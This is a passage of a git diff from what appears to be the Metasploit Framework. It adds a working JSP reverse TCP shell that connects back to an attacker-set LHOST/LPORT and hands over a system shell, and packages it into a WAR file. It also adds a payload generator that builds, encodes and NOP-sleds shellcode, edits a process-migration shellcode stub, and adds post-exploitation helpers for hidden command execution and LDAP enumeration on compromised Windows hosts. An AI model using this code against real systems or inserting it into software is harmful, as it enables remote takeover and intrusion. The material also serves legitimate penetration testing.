).start(); + } catch( Exception e ) {} +%> + EOS + + return jsp + end + + # Outputs jsp code that spawns a reverse TCP shell + # @return [String] jsp code that executes reverse TCP payload + def jsp_reverse_tcp + # JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html + jsp = <<-EOS +<%@page import="java.lang.*"%> +<%@page import="java.util.*"%> +<%@page import="java.io.*"%> +<%@page import="java.net.*"%> + +<% + class StreamConnector extends Thread + { + InputStream is; + OutputStream os; + + StreamConnector( InputStream is, OutputStream os ) + { + this.is = is; + this.os = os; + } + + public void run() + { + BufferedReader in = null; + BufferedWriter out = null; + try + { + in = new BufferedReader( new InputStreamReader( this.is ) ); + out = new BufferedWriter( new OutputStreamWriter( this.os ) ); + char buffer[] = new char[8192]; + int length; + while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) + { + out.write( buffer, 0, length ); + out.flush(); + } + } catch( Exception e ){} + try + { + if( in != null ) + in.close(); + if( out != null ) + out.close(); + } catch( Exception e ){} + } + } + + try + { + Socket socket = new Socket( "#{datastore['LHOST']}", #{datastore['LPORT'].to_s} ); + Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" ); + ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); + ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); + } catch( Exception e ) {} +%> + EOS + return jsp + end + + # Wraps the jsp payload into a war + # @return [Rex::Zip::Jar] a war to execute the jsp payload + def generate_war + jsp_name = "#{Rex::Text.rand_text_alpha_lower(rand(8)+8)}.jsp" + + zip = Rex::Zip::Jar.new + + web_xml = <<-EOF + + + + + #{jsp_name} + + + EOF + + zip.add_file("WEB-INF/", '') + zip.add_file("WEB-INF/web.xml", web_xml) + zip.add_file(jsp_name, generate) + + zip + end +end diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 9d7e5cd574..26856d4444 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -72,7 +72,7 @@ module Msf::Payload::Windows register_options( [ - Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'process' ]) + Msf::OptEnum.new('EXITFUNC', [true, 'Exit technique', 'process', @@exit_types.keys]) ], Msf::Payload::Windows ) ret end diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb index 19d36e081d..356d12ce59 100644 --- a/lib/msf/core/payload/windows/prepend_migrate.rb +++ b/lib/msf/core/payload/windows/prepend_migrate.rb @@ -85,21 +85,24 @@ module Msf::Payload::Windows::PrependMigrate ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed push edx ; Save the current position in the module list for later push edi ; Save the current module hash for later ; Proceed to iterate the export address table mov edx, [edx+16] ; Get this modules base address mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names + + ; use ecx as our EAT pointer here so we can take advantage of jecxz. + mov ecx, [eax+edx+120] ; Get the EAT from the PE header + jecxz get_next_mod1 ; If no EAT present, process the next module + add ecx, edx ; Add the modules base address + push ecx ; Save the current modules EAT + mov ebx, [ecx+32] ; Get the rva of the function names add ebx, edx ; Add the modules base address + mov ecx, [ecx+24] ; Get the number of function names + ; now ecx returns to its regularly scheduled counter duties + ; Computing the module hash + function hash get_next_func: ; jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module @@ -118,6 +121,7 @@ module Msf::Payload::Windows::PrependMigrate add edi, [ebp-8] ; Add the current module hash to the function hash cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... pop eax ; Restore the current modules EAT mov ebx, [eax+36] ; Get the ordinal table rva @@ -138,6 +142,7 @@ module Msf::Payload::Windows::PrependMigrate push ecx ; Push back the correct return value jmp eax ; Jump into the required function ; We now automagically return to the correct caller... + get_next_mod: ; pop eax ; Pop off the current (now the previous) modules EAT get_next_mod1: ; diff --git a/lib/msf/core/payload_generator.rb b/lib/msf/core/payload_generator.rb new file mode 100644 index 0000000000..2b32d416ed --- /dev/null +++ b/lib/msf/core/payload_generator.rb @@ -0,0 +1,394 @@ +require 'active_support/core_ext/numeric/bytes' +module Msf + + class PayloadGeneratorError < StandardError + end + + class EncoderSpaceViolation < PayloadGeneratorError + end + + class IncompatibleArch < PayloadGeneratorError + end + + class IncompatibleEndianess < PayloadGeneratorError + end + + class IncompatiblePlatform < PayloadGeneratorError + end + + class InvalidFormat < PayloadGeneratorError + end + + class PayloadGenerator + + # @!attribute add_code + # @return [String] The path to a shellcode file to execute in a seperate thread + attr_accessor :add_code + # @!attribute arch + # @return [String] The CPU architecture to build the payload for + attr_accessor :arch + # @!attribute badchars + # @return [String] The bad characters that can't be in the payload + attr_accessor :badchars + # @!attribute cli + # @return [Boolean] Whether this is being run by a CLI script + attr_accessor :cli + # @!attribute datastore + # @return [Hash] The datastore to apply to the payload module + attr_accessor :datastore + # @!attribute encoder + # @return [String] The encoder(s) you want applied to the payload + attr_accessor :encoder + # @!attribute format + # @return [String] The format you want the payload returned in + attr_accessor :format + # @!attribute framework + # @return [Msf::Framework] The framework instance to use for generation + attr_accessor :framework + # @!attribute iterations + # @return [Fixnum] The number of iterations to run the encoder + attr_accessor :iterations + # @!attribute keep + # @return [Boolean] Whether or not to preserve the original functionality of the template + attr_accessor :keep + # @!attribute nops + # @return [Fixnum] The size in bytes of NOP sled to prepend the payload with + attr_accessor :nops + # @!attribute payload + # @return [String] The refname of the payload to generate + attr_accessor :payload + # @!attribute platform + # @return [String] The platform to build the payload for + attr_accessor :platform + # @!attribute space + # @return [Fixnum] The maximum size in bytes of the payload + attr_accessor :space + # @!attribute stdin + # @return [String] The raw bytes of a payload taken from STDIN + attr_accessor :stdin + # @!attribute template + # @return [String] The path to an executable template to use + attr_accessor :template + + + # @param opts [Hash] The options hash + # @option opts [String] :payload (see #payload) + # @option opts [String] :format (see #format) + # @option opts [String] :encoder (see #encoder) + # @option opts [Fixnum] :iterations (see #iterations) + # @option opts [String] :arch (see #arch) + # @option opts [String] :platform (see #platform) + # @option opts [String] :badchars (see #badchars) + # @option opts [String] :template (see #template) + # @option opts [Fixnum] :space (see #space) + # @option opts [Fixnum] :nops (see #nops) + # @option opts [String] :add_code (see #add_code) + # @option opts [Boolean] :keep (see #keep) + # @option opts [Hash] :datastore (see #datastore) + # @option opts [Msf::Framework] :framework (see #framework) + # @option opts [Boolean] :cli (see #cli) + # @raise [KeyError] if framework is not provided in the options hash + def initialize(opts={}) + @add_code = opts.fetch(:add_code, '') + @arch = opts.fetch(:arch, '') + @badchars = opts.fetch(:badchars, '') + @cli = opts.fetch(:cli, false) + @datastore = opts.fetch(:datastore, {}) + @encoder = opts.fetch(:encoder, '') + @format = opts.fetch(:format, 'raw') + @iterations = opts.fetch(:iterations, 1) + @keep = opts.fetch(:keep, false) + @nops = opts.fetch(:nops, 0) + @payload = opts.fetch(:payload, '') + @platform = opts.fetch(:platform, '') + @space = opts.fetch(:space, 1.gigabyte) + @stdin = opts.fetch(:stdin, nil) + @template = opts.fetch(:template, '') + + @framework = opts.fetch(:framework) + + raise ArgumentError, "Invalid Payload Selected" unless payload_is_valid? + raise ArgumentError, "Invalid Format Selected" unless format_is_valid? + end + + # This method takes the shellcode generated so far and adds shellcode from + # a supplied file. The added shellcode is executed in a seperate thread + # from the main payload. + # @param shellcode [String] The shellcode to add to + # @return [String] the combined shellcode which executes the added code in a seperate thread + def add_shellcode(shellcode) + if add_code.present? and platform_list.platforms.include? Msf::Module::Platform::Windows and arch == "x86" + cli_print "Adding shellcode from #{add_code} to the payload" + shellcode_file = File.open(add_code) + shellcode_file.binmode + added_code = shellcode_file.read + shellcode_file.close + shellcode = ::Msf::Util::EXE.win32_rwx_exec_thread(shellcode,0,'end') + shellcode << added_code + else + shellcode.dup + end + end + + # This method takes a payload module and tries to reconcile a chosen + # arch with the arches supported by the module. + # @param mod [Msf::Payload] The module class to choose an arch for + # @return [String] String form of the Arch if a valid arch found + # @return [Nil] if no valid arch found + def choose_arch(mod) + if arch.blank? + @arch = mod.arch.first + cli_print "No Arch selected, selecting Arch: #{arch} from the payload" + return mod.arch.first + elsif mod.arch.include? arch + return arch + else + return nil + end + end + + # This method takes a payload module and tries to reconcile a chosen + # platform with the platforms supported by the module. + # @param mod [Msf::Payload] The module class to choose a platform for + # @return [Msf::Module::PlatformList] The selected platform list + def choose_platform(mod) + chosen_platform = platform_list + if chosen_platform.platforms.empty? + chosen_platform = mod.platform + cli_print "No platform was selected, choosing #{chosen_platform.platforms.first} from the payload" + @platform = mod.platform.platforms.first.to_s.split("::").last + elsif (chosen_platform & mod.platform).empty? + chosen_platform = Msf::Module::PlatformList.new + end + chosen_platform + end + + # This method takes the shellcode generated so far and iterates through + # the chosen or compatible encoders. It attempts to encode the payload + # with each encoder until it finds one that works. + # @param shellcode [String] The shellcode to encode + # @return [String] The encoded shellcode + def encode_payload(shellcode) + shellcode = shellcode.dup + encoder_list = get_encoders + cli_print "Found #{encoder_list.count} compatible encoders" + if encoder_list.empty? + shellcode + else + encoder_list.each do |encoder_mod| + cli_print "Attempting to encode payload with #{iterations} iterations of #{encoder_mod.refname}" + begin + return run_encoder(encoder_mod, shellcode.dup) + rescue ::Msf::EncoderSpaceViolation => e + cli_print "#{encoder_mod.refname} failed with #{e.message}" + next + rescue ::Msf::EncodingError => e + cli_print "#{encoder_mod.refname} failed with #{e.message}" + next + end + end + raise ::Msf::EncodingError, "No Encoder Succeeded" + end + end + + # This returns a hash for the exe format generation of payloads + # @return [Hash] The hash needed for generating an executable format + def exe_options + opts = { inject: keep } + unless template.blank? + opts[:template_path] = File.dirname(template) + opts[:template] = File.basename(template) + end + opts + end + + # This method takes the payload shellcode and formats it appropriately based + # on the selected output format. + # @param shellcode [String] the processed shellcode to be formatted + # @return [String] The final formatted form of the payload + def format_payload(shellcode) + case format.downcase + when "js_be" + if Rex::Arch.endian(arch) != ENDIAN_BIG + raise IncompatibleEndianess, "Big endian format selected for a non big endian payload" + else + ::Msf::Simple::Buffer.transform(shellcode, format) + end + when *::Msf::Simple::Buffer.transform_formats + ::Msf::Simple::Buffer.transform(shellcode, format) + when *::Msf::Util::EXE.to_executable_fmt_formats + ::Msf::Util::EXE.to_executable_fmt(framework, arch, platform_list, shellcode, format, exe_options) + else + raise InvalidFormat, "you have selected an invalid payload format" + end + end + + # This method generates Java payloads which are a special case. + # They can be generated in raw or war formats, which respectively + # produce a JAR or WAR file for the java payload. + # @return [String] Java payload as a JAR or WAR file + def generate_java_payload + payload_module = framework.payloads.create(payload) + case format + when "raw" + if payload_module.respond_to? :generate_jar + payload_module.generate_jar.pack + else + raise InvalidFormat, "#{payload} is not a Java payload" + end + when "war" + if payload_module.respond_to? :generate_war + payload_module.generate_war.pack + else + raise InvalidFormat, "#{payload} is not a Java payload" + end + else + raise InvalidFormat, "#{format} is not a valid format for Java payloads" + end + end + + # This method is a wrapper around all of the other methods. It calls the correct + # methods in order based on the supplied options and returns the finished payload. + # @return [String] A string containing the bytes of the payload in the format selected + def generate_payload + if platform == "java" or arch == "java" or payload.start_with? "java/" + generate_java_payload + else + raw_payload = generate_raw_payload + raw_payload = add_shellcode(raw_payload) + encoded_payload = encode_payload(raw_payload) + encoded_payload = prepend_nops(encoded_payload) + format_payload(encoded_payload) + end + end + + + # This method generates the raw form of the payload as generated by the payload module itself. + # @raise [Msf::IncompatiblePlatform] if no platform was selected for a stdin payload + # @raise [Msf::IncompatibleArch] if no arch was selected for a stdin payload + # @raise [Msf::IncompatiblePlatform] if the platform is incompatible with the payload + # @raise [Msf::IncompatibleArch] if the arch is incompatible with the payload + # @return [String] the raw bytes of the payload to be generated + def generate_raw_payload + if payload == 'stdin' + if arch.blank? + raise IncompatibleArch, "You must select an arch for a custom payload" + elsif platform.blank? + raise IncompatiblePlatform, "You must select a platform for a custom payload" + end + stdin + else + payload_module = framework.payloads.create(payload) + + chosen_platform = choose_platform(payload_module) + if chosen_platform.platforms.empty? + raise IncompatiblePlatform, "The selected platform is incompatible with the payload" + end + + chosen_arch = choose_arch(payload_module) + unless chosen_arch + raise IncompatibleArch, "The selected arch is incompatible with the payload" + end + + payload_module.generate_simple( + 'Format' => 'raw', + 'Options' => datastore, + 'Encoder' => nil + ) + end + end + + # This method returns an array of encoders that either match the + # encoders selected by the user, or match the arch selected. + # @return [Array] An array of potential encoders to use + def get_encoders + encoders = [] + if encoder.present? + # Allow comma seperated list of encoders so users can choose several + encoder.split(',').each do |chosen_encoder| + encoders << framework.encoders.create(chosen_encoder) + end + encoders.sort_by { |my_encoder| my_encoder.rank }.reverse + elsif badchars.present? + framework.encoders.each_module_ranked('Arch' => [arch]) do |name, mod| + encoders << framework.encoders.create(name) + end + encoders.sort_by { |my_encoder| my_encoder.rank }.reverse + else + encoders + end + end + + # Returns a PlatformList object based on the platform string given at creation. + # @return [Msf::Module::PlatformList] It will be empty if no valid platforms found + def platform_list + if platform.blank? + list = Msf::Module::PlatformList.new + else + begin + list = ::Msf::Module::PlatformList.transform(platform) + rescue + list = Msf::Module::PlatformList.new + end + end + list + end + + # This method takes an encoded payload and prepends a NOP Sled to it + # with a size based on the nops value given to the generator. + # @param shellcode [String] The shellcode to prepend the NOPs to + # @return [String] the shellcode with the appropriate nopsled affixed + def prepend_nops(shellcode) + if nops > 0 + framework.nops.each_module_ranked('Arch' => [arch]) do |name, mod| + nop = framework.nops.create(name) + raw = nop.generate_sled(nops, {'BadChars' => badchars, 'SaveRegisters' => [ 'esp', 'ebp', 'esi', 'edi' ] }) + if raw + cli_print "Successfully added NOP sled from #{name}" + return raw + shellcode + end + end + else + shellcode + end + end + + # This method runs a specified encoder, for a number of defined iterations against the shellcode. + # @param encoder_module [Msf::Encoder] The Encoder to run against the shellcode + # @param shellcode [String] The shellcode to be encoded + # @return [String] The encoded shellcode + # @raise [Msf::EncoderSpaceViolation] If the Encoder makes the shellcode larger than the supplied space limit + def run_encoder(encoder_module, shellcode) + iterations.times do |x| + shellcode = encoder_module.encode(shellcode.dup, badchars, nil, platform_list) + cli_print "#{encoder_module.refname} succeeded with size #{shellcode.length} (iteration=#{x})" + raise EncoderSpaceViolation, "encoder has made a buffer that is too big" if shellcode.length > space + end + shellcode + end + + private + + # This method prints output to the console if running in CLI mode + # @param [String] message The message to print to the console. + def cli_print(message= '') + $stderr.puts message if cli + end + + # This method checks if the Generator's selected format is valid + # @return [True] if the format is valid + # @return [False] if the format is not valid + def format_is_valid? + formats = (::Msf::Util::EXE.to_executable_fmt_formats + ::Msf::Simple::Buffer.transform_formats).uniq + formats.include? format.downcase + end + + # This method checks if the Generator's selected payload is valid + # @return [True] if the payload is a valid Metasploit Payload + # @return [False] if the payload is not a valid Metasploit Payload + def payload_is_valid? + (framework.payloads.keys + ['stdin']).include? payload + end + + end +end diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index e6cce966f8..7bb6195e33 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -2,6 +2,28 @@ module Msf::Post::Common + def rhost + case session.type + when 'meterpreter' + session.sock.peerhost + when 'shell' + session.session_host + end + end + + def rport + case session.type + when 'meterpreter' + session.sock.peerport + when 'shell' + session.session_port + end + end + + def peer + "#{rhost}:#{rport}" + end + # # Checks if the remote system has a process with ID +pid+ # @@ -98,6 +120,23 @@ module Msf::Post::Common return o end + def cmd_exec_get_pid(cmd, args=nil, time_out=15) + case session.type + when /meterpreter/ + if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/ + args = "" + end + session.response_timeout = time_out + process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true}) + process.channel.close + pid = process.pid + process.close + pid + else + print_error "cmd_exec_get_pid is incompatible with non-meterpreter sessions" + end + end + # # Reports to the database that the host is a virtual machine and reports # the type of virtual machine it is (e.g VirtualBox, VMware, Xen) diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index 7013b95832..1d148f7028 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -41,13 +41,14 @@ module Msf::Post::File return stat.directory? else if session.platform =~ /win/ - # XXX + f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )") else f = session.shell_command_token("test -d '#{path}' && echo true") - return false if f.nil? or f.empty? - return false unless f =~ /true/ - return true end + + return false if f.nil? or f.empty? + return false unless f =~ /true/ + return true end end @@ -72,13 +73,17 @@ module Msf::Post::File return stat.file? else if session.platform =~ /win/ - # XXX + f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )") + if f =~ /true/ + f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )") + end else f = session.shell_command_token("test -f '#{path}' && echo true") - return false if f.nil? or f.empty? - return false unless f =~ /true/ - return true end + + return false if f.nil? or f.empty? + return false unless f =~ /true/ + return true end end @@ -93,13 +98,14 @@ module Msf::Post::File return !!(stat) else if session.platform =~ /win/ - # XXX + f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )") else f = session.shell_command_token("test -e '#{path}' && echo true") - return false if f.nil? or f.empty? - return false unless f =~ /true/ - return true end + + return false if f.nil? or f.empty? + return false unless f =~ /true/ + return true end end diff --git a/lib/msf/core/post/windows.rb b/lib/msf/core/post/windows.rb index af386267c3..7be6f99261 100644 --- a/lib/msf/core/post/windows.rb +++ b/lib/msf/core/post/windows.rb @@ -1,6 +1,7 @@ module Msf::Post::Windows require 'msf/core/post/windows/error' + require 'msf/core/post/windows/extapi' require 'msf/core/post/windows/accounts' require 'msf/core/post/windows/cli_parse' require 'msf/core/post/windows/eventlog' @@ -11,6 +12,9 @@ module Msf::Post::Windows require 'msf/core/post/windows/railgun' require 'msf/core/post/windows/registry' require 'msf/core/post/windows/services' + require 'msf/core/post/windows/wmic' require 'msf/core/post/windows/shadowcopy' require 'msf/core/post/windows/user_profiles' + require 'msf/core/post/windows/ldap' + require 'msf/core/post/windows/reflective_dll_injection' end diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb index d65930b62c..f092f48240 100644 --- a/lib/msf/core/post/windows/accounts.rb +++ b/lib/msf/core/post/windows/accounts.rb @@ -5,6 +5,64 @@ module Windows module Accounts + GUID = [ + ['Data1',:DWORD], + ['Data2',:WORD], + ['Data3',:WORD], + ['Data4','BYTE[8]'] + ] + + DOMAIN_CONTROLLER_INFO = [ + ['DomainControllerName',:LPSTR], + ['DomainControllerAddress',:LPSTR], + ['DomainControllerAddressType',:ULONG], + ['DomainGuid',GUID], + ['DomainName',:LPSTR], + ['DnsForestName',:LPSTR], + ['Flags',:ULONG], + ['DcSiteName',:LPSTR], + ['ClientSiteName',:LPSTR] + ] + + ## + # get_domain(server_name=nil) + # + # Summary: + # Retrieves the current DomainName the given server is + # a member of. + # + # Parameters + # server_name - DNS or NetBIOS name of the remote server + # Returns: + # The DomainName of the remote server or nil if windows + # could not retrieve the DomainControllerInfo or encountered + # an exception. + # + ## + def get_domain(server_name=nil) + domain = nil + result = session.railgun.netapi32.DsGetDcNameA( + server_name, + nil, + nil, + nil, + 0, + 4) + + begin + dc_info_addr = result['DomainControllerInfo'] + unless dc_info_addr == 0 + dc_info = session.railgun.util.read_data(DOMAIN_CONTROLLER_INFO, dc_info_addr) + pointer = session.railgun.util.unpack_pointer(dc_info['DomainName']) + domain = session.railgun.util.read_string(pointer) + end + ensure + session.railgun.netapi32.NetApiBufferFree(dc_info_addr) + end + + domain + end + ## # delete_user(username, server_name = nil) # diff --git a/lib/msf/core/post/windows/extapi.rb b/lib/msf/core/post/windows/extapi.rb new file mode 100644 index 0000000000..b0ca55822a --- /dev/null +++ b/lib/msf/core/post/windows/extapi.rb @@ -0,0 +1,25 @@ +# -*- coding: binary -*- + +module Msf +class Post +module Windows + +module ExtAPI + + def load_extapi + if session.extapi + return true + else + begin + return session.core.use("extapi") + rescue Errno::ENOENT + print_error("Unable to load Extended API.") + return false + end + end + end + +end # ExtAPI +end # Windows +end # Post +end # Msf diff --git a/lib/msf/core/post/windows/ldap.rb b/lib/msf/core/post/windows/ldap.rb new file mode 100644 index 0000000000..960ca5af0e --- /dev/null +++ b/lib/msf/core/post/windows/ldap.rb @@ -0,0 +1,376 @@ +# -*- coding: binary -*- + +module Msf +class Post +module Windows + +# +# @see +# http://msdn.microsoft.com/en-us/library/windows/desktop/aa366961(v=vs.85).aspx +# MSDN: Lightweight Directory Access Protocol +module LDAP + + include Msf::Post::Windows::Error + include Msf::Post::Windows::ExtAPI + include Msf::Post::Windows::Accounts + + LDAP_SIZELIMIT_EXCEEDED = 0x04 + LDAP_OPT_SIZELIMIT = 0x03 + LDAP_AUTH_NEGOTIATE = 0x0486 + + DEFAULT_PAGE_SIZE = 500 + + ERROR_CODE_TO_CONSTANT = + { + 0x0b => 'LDAP_ADMIN_LIMIT_EXCEEDED', + 0x47 => 'LDAP_AFFECTS_MULTIPLE_DSAS', + 0x24 => 'LDAP_ALIAS_DEREF_PROBLEM', + 0x21 => 'LDAP_ALIAS_PROBLEM', + 0x44 => 'LDAP_ALREADY_EXISTS', + 0x14 => 'LDAP_ATTRIBUTE_OR_VALUE_EXISTS', + 0x07 => 'LDAP_AUTH_METHOD_NOT_SUPPORTED', + 0x56 => 'LDAP_AUTH_UNKNOWN', + 0x33 => 'LDAP_BUSY', + 0x60 => 'LDAP_CLIENT_LOOP', + 0x05 => 'LDAP_COMPARE_FALSE', + 0x06 => 'LDAP_COMPARE_TRUE', + 0x0d => 'LDAP_CONFIDENTIALITY_REQUIRED', + 0x5b => 'LDAP_CONNECT_ERROR', + 0x13 => 'LDAP_CONSTRAINT_VIOLATION', + 0x5d => 'LDAP_CONTROL_NOT_FOUND', + 0x54 => 'LDAP_DECODING_ERROR', + 0x53 => 'LDAP_ENCODING_ERROR', + 0x57 => 'LDAP_FILTER_ERROR', + 0x30 => 'LDAP_INAPPROPRIATE_AUTH', + 0x12 => 'LDAP_INAPPROPRIATE_MATCHING', + 0x32 => 'LDAP_INSUFFICIENT_RIGHTS', + 0x31 => 'LDAP_INVALID_CREDENTIALS', + 0x22 => 'LDAP_INVALID_DN_SYNTAX', + 0x15 => 'LDAP_INVALID_SYNTAX', + 0x23 => 'LDAP_IS_LEAF', + 0x52 => 'LDAP_LOCAL_ERROR', + 0x36 => 'LDAP_LOOP_DETECT', + 0x5f => 'LDAP_MORE_RESULTS_TO_RETURN', + 0x40 => 'LDAP_NAMING_VIOLATION', + 0x5a => 'LDAP_NO_MEMORY', + 0x45 => 'LDAP_NO_OBJECT_CLASS_MODS', + 0x5e => 'LDAP_NO_RESULTS_RETURNED', + 0x10 => 'LDAP_NO_SUCH_ATTRIBUTE', + 0x20 => 'LDAP_NO_SUCH_OBJECT', + 0x42 => 'LDAP_NOT_ALLOWED_ON_NONLEAF', + 0x43 => 'LDAP_NOT_ALLOWED_ON_RDN', + 0x5c => 'LDAP_NOT_SUPPORTED', + 0x41 => 'LDAP_OBJECT_CLASS_VIOLATION', + 0x01 => 'LDAP_OPERATIONS_ERROR', + 0x50 => 'LDAP_OTHER', + 0x59 => 'LDAP_PARAM_ERROR', + 0x09 => 'LDAP_PARTIAL_RESULTS', + 0x02 => 'LDAP_PROTOCOL_ERROR', + 0x0a => 'LDAP_REFERRAL', + 0x61 => 'LDAP_REFERRAL_LIMIT_EXCEEDED', + 0x09 => 'LDAP_REFERRAL_V2', + 0x46 => 'LDAP_RESULTS_TOO_LARGE', + 0x51 => 'LDAP_SERVER_DOWN', + 0x04 => 'LDAP_SIZELIMIT_EXCEEDED', + 0x08 => 'LDAP_STRONG_AUTH_REQUIRED', + 0x00 => 'LDAP_SUCCESS', + 0x03 => 'LDAP_TIMELIMIT_EXCEEDED', + 0x55 => 'LDAP_TIMEOUT', + 0x34 => 'LDAP_UNAVAILABLE', + 0x0c => 'LDAP_UNAVAILABLE_CRIT_EXTENSION', + 0x11 => 'LDAP_UNDEFINED_TYPE', + 0x35 => 'LDAP_UNWILLING_TO_PERFORM', + 0x58 => 'LDAP_USER_CANCELLED', + 0x4c => 'LDAP_VIRTUAL_LIST_VIEW_ERROR' + } + + def initialize(info = {}) + super + register_options( + [ + OptString.new('DOMAIN', [false, 'The domain to query or distinguished name (e.g. DC=test,DC=com)', nil]), + OptInt.new('MAX_SEARCH', [true, 'Maximum values to retrieve, 0 for all.', 500]), + ], self.class) + end + + # Converts a Distinguished Name to DNS name + # + # @param dn [String] Distinguished Name + # @return [String] DNS name + def dn_to_domain(dn) + if dn.include? "DC=" + return dn.gsub(',','').split('DC=')[1..-1].join('.') + else + return dn + end + end + + # Performs an ldap query + # + # @param filter [String] LDAP search filter + # @param max_results [Fixnum] Maximum results + # @param fields [Array] Attributes to retrieve + # @param domain [String] Optional domain or distinguished name + # @return [Hash] Entries found + # @raise [RuntimeError] Raised when the default naming context isn't + # specified as distinguished name. + def query(filter, max_results, fields, domain=nil) + domain ||= datastore['DOMAIN'] + domain ||= get_domain + + if domain.blank? + raise RuntimeError, "Unable to find the domain to query." + end + + if load_extapi + return session.extapi.adsi.domain_query(domain, filter, max_results, DEFAULT_PAGE_SIZE, fields) + else + if domain and domain.include? "DC=" + default_naming_context = domain + domain = dn_to_domain(domain) + else + default_naming_context = get_default_naming_context(domain) + end + + bind_default_ldap_server(max_results, domain) do |session_handle| + return query_ldap(session_handle, default_naming_context, 2, filter, fields) + end + end + end + + # Performs a query to retrieve the default naming context + # + # @param domain [String] Optional domain or distinguished name + # @return [String] + def get_default_naming_context(domain=nil) + bind_default_ldap_server(1, domain) do |session_handle| + print_status("Querying default naming context") + + query_result = query_ldap(session_handle, "", 0, "(objectClass=computer)", ["defaultNamingContext"]) + first_entry_fields = query_result[:results].first + # Value from First Attribute of First Entry + default_naming_context = first_entry_fields.first + vprint_status("Default naming context #{default_naming_context}") + return default_naming_context + end + end + + # Performs a query on the LDAP session + # + # @param session_handle [Handle] LDAP Session Handle + # @param base [Fixnum] Pointer to string that contains distinguished + # name of entry to start the search + # @param scope [Fixnum] Search Scope + # @param filter [String] Search Filter + # @param fields [Array] Attributes to retrieve + # @return [Hash] Entries found + def query_ldap(session_handle, base, scope, filter, fields) + vprint_status("Searching LDAP directory") + search = wldap32.ldap_search_sA(session_handle, base, scope, filter, nil, 0, 4) + vprint_status("search: #{search}") + + if search['return'] == LDAP_SIZELIMIT_EXCEEDED + print_error("LDAP_SIZELIMIT_EXCEEDED, parsing what we retrieved, try increasing the MAX_SEARCH value [0:LDAP_NO_LIMIT]") + elsif search['return'] != Error::SUCCESS + print_error("No results") + wldap32.ldap_msgfree(search['res']) + return + end + + search_count = wldap32.ldap_count_entries(session_handle, search['res'])['return'] + + if search_count == 0 + print_error("No entries retrieved") + wldap32.ldap_msgfree(search['res']) + return + end + + print_status("Entries retrieved: #{search_count}") + + pEntries = [] + entry_results = [] + + if datastore['MAX_SEARCH'] == 0 + max_search = search_count + else + max_search = [datastore['MAX_SEARCH'], search_count].min + end + + 0.upto(max_search - 1) do |i| + + if(i==0) + pEntries[0] = wldap32.ldap_first_entry(session_handle, search['res'])['return'] + end + + if(pEntries[i] == 0) + print_error("Failed to get entry") + wldap32.ldap_msgfree(search['res']) + return + end + + vprint_status("Entry #{i}: 0x#{pEntries[i].to_s(16)}") + + entry = get_entry(pEntries[i]) + + # Entries are a linked list... + if client.platform =~ /x64/ + pEntries[i+1] = entry[4] + else + pEntries[i+1] = entry[3] + end + + ber = get_ber(entry) + + field_results = [] + fields.each do |field| + vprint_status("Field: #{field}") + + values = get_values_from_ber(ber, field) + + values_result = "" + values_result = values.join(',') if values + vprint_status("Values #{values}") + + field_results << values_result + end + + entry_results << field_results + end + + return { + :fields => fields, + :results => entry_results + } + end + + # Gets the LDAP Entry + # + # @param pEntry [Fixnum] Pointer to the Entry + # @return [Array] Entry data structure + def get_entry(pEntry) + return client.railgun.memread(pEntry,41).unpack('LLLLLLLLLSCCC') + end + + # Get BER Element data structure from LDAPMessage + # + # @param msg [String] The LDAP Message from the server + # @return [String] The BER data structure + def get_ber(msg) + ber = client.railgun.memread(msg[2],60).unpack('L*') + + # BER Pointer is different between x86 and x64 + if client.platform =~ /x64/ + ber_data = client.railgun.memread(ber[4], ber[0]) + else + ber_data = client.railgun.memread(ber[3], ber[0]) + end + + return ber_data + end + + # Search through the BER data structure for our Attribute. + # This doesn't attempt to parse the BER structure correctly + # instead it finds the first occurance of our field name + # tries to check the length of that value. + # + # @param ber_data [String] BER data structure + # @param field [String] Attribute name + # @return [Array] Values for the given +field+ + def get_values_from_ber(ber_data, field) + field_offset = ber_data.index(field) + + unless field_offset + vprint_status("Field not found in BER: #{field}") + return nil + end + + # Value starts after our field string + values_offset = field_offset + field.length + values_start_offset = values_offset + 8 + values_len_offset = values_offset + 5 + curr_len_offset = values_offset + 7 + + values_length = ber_data[values_len_offset].unpack('C')[0] + values_end_offset = values_start_offset + values_length + + curr_length = ber_data[curr_len_offset].unpack('C')[0] + curr_start_offset = values_start_offset + + if (curr_length >= 127) + curr_length = ber_data[curr_len_offset+1,4].unpack('N')[0] + curr_start_offset += 4 + end + + curr_end_offset = curr_start_offset + curr_length + + values = [] + while (curr_end_offset < values_end_offset) + values << 